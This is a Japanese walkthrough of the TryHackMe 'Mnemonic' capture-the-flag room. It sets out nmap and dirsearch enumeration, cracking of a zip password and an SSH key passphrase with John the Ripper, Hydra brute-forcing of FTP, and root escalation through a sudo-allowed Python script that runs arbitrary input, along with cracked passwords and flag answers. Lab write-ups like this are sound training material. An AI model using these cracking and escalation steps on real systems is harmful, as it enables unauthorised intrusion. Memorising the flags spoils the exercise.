概要
TryHackMe「Mnemonic」のWalkthroughです。
Task2
Q1.How many open ports?
ポートスキャンを実行します。
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.224.98 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/webmasters/*
|_http-title: Site doesn't have a title (text/html).
1337/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e0:42:c0:a5:7d:42:6f:00:22:f8:c7:54:aa:35:b9:dc (RSA)
| 256 23:eb:a9:9b:45:26:9c:a2:13:ab:c1:ce:07:2b:98:e0 (ECDSA)
|_ 256 35:8f:cb:e2:0d:11:2c:0b:63:f2:bc:a0:34:f3:dc:49 (ED25519)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 3.0.3 |
80 | http | Apache httpd 2.4.29 |
1337 | ssh | OpenSSH 7.6p1 |
A.3
Q2.what is the ssh port number?
ポートスキャンの結果から1337
でSSHが動作していると分かりました。
A.1337
Q3.what is the name of the secret file?
/robots.txt
から/webmasters/
パスを得られました。
User-agent: *
Allow: /
Disallow: /webmasters/*
/webmasters/
配下のディレクトリ列挙を行います。
$ dirsearch -u http://10.10.224.98/webmasters
[11:00:43] 301 - 323B - /webmasters/admin -> http://10.10.224.98/webmasters/admin/
[11:00:45] 200 - 437B - /webmasters/admin/admin.html
[11:00:45] 200 - 138B - /webmasters/admin/login.html
[11:01:02] 301 - 325B - /webmasters/backups -> http://10.10.224.98/webmasters/backups/
/webmasters/admin/
,/webmasters/backups
を発見しました。
/webmasters/backups
配下をされに列挙します。
$ dirsearch -u http://10.10.224.98/webmasters/backups
[11:03:40] 200 - 409B - /webmasters/backups/backups.zip
backups.zip
を発見できました。
A.backups.zip
Task3
Q1.ftp user name?
/webmasters/backups/backups.zip
をダウンロードします。
$ wget http://10.10.224.98/webmasters/backups/backups.zip
解凍を試みるとパスワードが必要になりました。
JohnTheRipper
でパスワードをクラックします。
$ zip2john backups.zip > backups_hash
$ john backups_hash --wordlist=/usr/share/wordlists/rockyou.txt
00385007 (backups.zip/backups/note.txt)
パスワードが判明したのでZIPファイルを解凍するとnote.txt
を得られました。
$ unzip backups.zip
Archive: backups.zip
[backups.zip] backups/note.txt password:
inflating: backups/note.txt
note.txt
からFTPのユーザー名がわかりました。
@vill
James new ftp username: ftpuser
we have to work hard
A.ftpuser
Q2.ftp password?
FTPユーザー名が分かったのでパスワードをHydraで解析します。
$ hydra -f -l ftpuser -P /usr/share/wordlists/rockyou.txt 10.10.224.98 ftp -t 40
[21][ftp] host: 10.10.224.98 login: ftpuser password: love4ever
パスワードが判明しました。
A.love4ever
Q3.What is the ssh username?
FTP接続します。
$ ftp 10.10.224.98
Connected to 10.10.224.98.
220 (vsFTPd 3.0.3)
Name (10.10.224.98:kali): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
ディレクトリが多いので総当たりで中を見ていきます。
ftp> ls -la
229 Entering Extended Passive Mode (|||10083|)
150 Here comes the directory listing.
drwx------ 12 1003 1003 4096 Jul 14 2020 .
drwx------ 12 1003 1003 4096 Jul 14 2020 ..
lrwxrwxrwx 1 1003 1003 9 Jul 14 2020 .bash_history -> /dev/null
-rw-r--r-- 1 1003 1003 220 Jul 13 2020 .bash_logout
-rw-r--r-- 1 1003 1003 3771 Jul 13 2020 .bashrc
-rw-r--r-- 1 1003 1003 807 Jul 13 2020 .profile
drwxr-xr-x 2 0 0 4096 Jul 13 2020 data-1
drwxr-xr-x 2 0 0 4096 Jul 13 2020 data-10
drwxr-xr-x 2 0 0 4096 Jul 13 2020 data-2
drwxr-xr-x 2 0 0 4096 Jul 13 2020 data-3
drwxr-xr-x 4 0 0 4096 Jul 14 2020 data-4
drwxr-xr-x 2 0 0 4096 Jul 13 2020 data-5
drwxr-xr-x 2 0 0 4096 Jul 13 2020 data-6
drwxr-xr-x 2 0 0 4096 Jul 13 2020 data-7
drwxr-xr-x 2 0 0 4096 Jul 13 2020 data-8
drwxr-xr-x 2 0 0 4096 Jul 13 2020 data-9
226 Directory send OK.
data-4
ディレクトリでファイルを発見しました。
ftp> ls data-4
229 Entering Extended Passive Mode (|||10001|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Jul 14 2020 3
drwxr-xr-x 2 0 0 4096 Jul 14 2020 4
-rwxr-xr-x 1 1001 1001 1766 Jul 13 2020 id_rsa
-rwxr-xr-x 1 1000 1000 31 Jul 13 2020 not.txt
ファイルをダウンロードしnot.txt
やnote.txt
からSSHのユーザー名を予測できました。
james change ftp user password
A.james
Q4.What is the ssh password?
id_rsa
を見ると暗号化されているのが分かります。
$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,01762A15A5B935E96A1CF34704C79AC3
pSxCqzRmFf4dcfdkVay0+fN88/GXwl3LXOS1WQrRV26wqXTE1+EaL5LrRtET8mPM
dkScGB/cHICB0cPvn3WU8ptdYCk78w9X9wHpPBa6VLk1eRi7MANLcfRWxQ4GFwXp
JohnTheRipper
で解析します。
$ ssh2john id_rsa > id_hash.txt
$ john id_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
bluelove (id_rsa)
パスワードがわかりました。
A.bluelove
Q5.What is the condor password?
Hint.mnemonic encryption "image based"
SSH接続します。
$ ssh -i id_rsa james@10.10.224.98 -p 1337
james@mnemonic:~$
/home/james/6450.txt
からは何かのリストを得られました。
5140656
354528
842004
1617534
465318
1617534
509634
1152216
753372
265896
265896
15355494
24617538
3567438
15355494
/home/condor
へアクセスするとエラーが出て、base64
でエンコードされた文字列が出力されました。
ls: cannot access '../condor/'\''VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ=='\''': Permission denied
ls: cannot access '../condor/aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw==': Permission denied
total 0
d????????? ? ? ? ? ? 'aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw=='
d????????? ? ? ? ? ? ''\''VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ=='\'''
一つ目の文字列をデコードするとリンクがわかりました。
$ echo -n "aHR0cHM6Ly9pLnl0aW1nLmNvbS92aS9LLTk2Sm1DMkFrRS9tYXhyZXNkZWZhdWx0LmpwZw==" | base64 -d
https://i.ytimg.com/vi/K-96JmC2AkE/maxresdefault.jpg
リンクにアクセスすると画像を得られました。
6450.txt
を使ってニーモニック暗号を解読します。
ツールは下記のレポジトリを使用しました。
実行時にエラーが出たので、Mnemonic/Mnemonic.py
の最初の方に下記コードを追記します。
sys.set_int_max_str_digits(10000)
実行し、パスフレーズを得られました。
$ python Mnemonic.py
Access Code image file Path:/home/kali/Mnemonic/maxresdefault.jpg
File exists and is readable
(1) ENCRYPT (2) DECRYPT
>>>>2
ENCRYPT Message to file Path'
Please enter the file Path:/home/kali/Mnemonic/6450.txt
pasificbell1981
A.pasificbell1981
Task4
Q1.user.txt
/home/condor
配下の文字列をbse64
でデコードしてフラグを入手できます。
$ echo -n "VEhNe2E1ZjgyYTAwZTJmZWVlMzQ2NTI0OWI4NTViZTcxYzAxfQ==" | base64 -d
THM{a5f82a00e2feee3465249b855be71c01}
A.THM{a5f82a00e2feee3465249b855be71c01}
Q2.root.txt
Hint.THM{MD5}
sudo -l
で確認します。
$ sudo -l
[sudo] password for condor:
Matching Defaults entries for condor on mnemonic:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User condor may run the following commands on mnemonic:
(ALL : ALL) /usr/bin/python3 /bin/examplecode.py
/bin/examplecode.py
を発見したので処理を確認します。
#!/usr/bin/python3
import os
import time
import sys
def text(): #text print
print("""
------------information systems script beta--------
---------------------------------------------------
---------------------------------------------------
---------------------------------------------------
---------------------------------------------------
---------------------------------------------------
---------------------------------------------------
----------------@author villwocki------------------""")
time.sleep(2)
print("\nRunning...")
time.sleep(2)
os.system(command="clear")
main()
def main():
info()
while True:
select = int(input("\nSelect:"))
if select == 1:
time.sleep(1)
print("\nRunning")
time.sleep(1)
x = os.system(command="ip a")
print("Main Menü press '0' ")
print(x)
if select == 2:
time.sleep(1)
print("\nRunning")
time.sleep(1)
x = os.system(command="ifconfig")
print(x)
if select == 3:
time.sleep(1)
print("\nRunning")
time.sleep(1)
x = os.system(command="ip route show")
print(x)
if select == 4:
time.sleep(1)
print("\nRunning")
time.sleep(1)
x = os.system(command="cat /etc/os-release")
print(x)
if select == 0:
time.sleep(1)
ex = str(input("are you sure you want to quit ? yes : "))
if ex == ".":
print(os.system(input("\nRunning....")))
if ex == "yes " or "y":
sys.exit()
if select == 5: #root
time.sleep(1)
print("\nRunning")
time.sleep(2)
print(".......")
time.sleep(2)
print("System rebooting....")
time.sleep(2)
x = os.system(command="shutdown now")
print(x)
if select == 6:
time.sleep(1)
print("\nRunning")
time.sleep(1)
x = os.system(command="date")
print(x)
if select == 7:
time.sleep(1)
print("\nRunning")
time.sleep(1)
x = os.system(command="rm -r /tmp/*")
print(x)
def info(): #info print function
print("""
#Network Connections [1]
#Show İfconfig [2]
#Show ip route [3]
#Show Os-release [4]
#Root Shell Spawn [5]
#Print date [6]
#Exit [0]
""")
def run(): # run function
text()
run()
0
を選択肢.
を入力した際に、root権限で任意のコマンドを実行できるようになっています。
if select == 0:
time.sleep(1)
ex = str(input("are you sure you want to quit ? yes : "))
if ex == ".":
print(os.system(input("\nRunning....")))
if ex == "yes " or "y":
sys.exit()
権限昇格をします。
Select:0
are you sure you want to quit ? yes : .
Running..../bin/bash
root@mnemonic:/etc# whoami
root
/root/root.txt
からフラグを入手できます。
THM{congratulationsyoumadeithashme}
ヒントからフラグの中身をMD5でハッシュ化してクリアです。
A.THM{2a4825f50b0c16636984b448669b0586}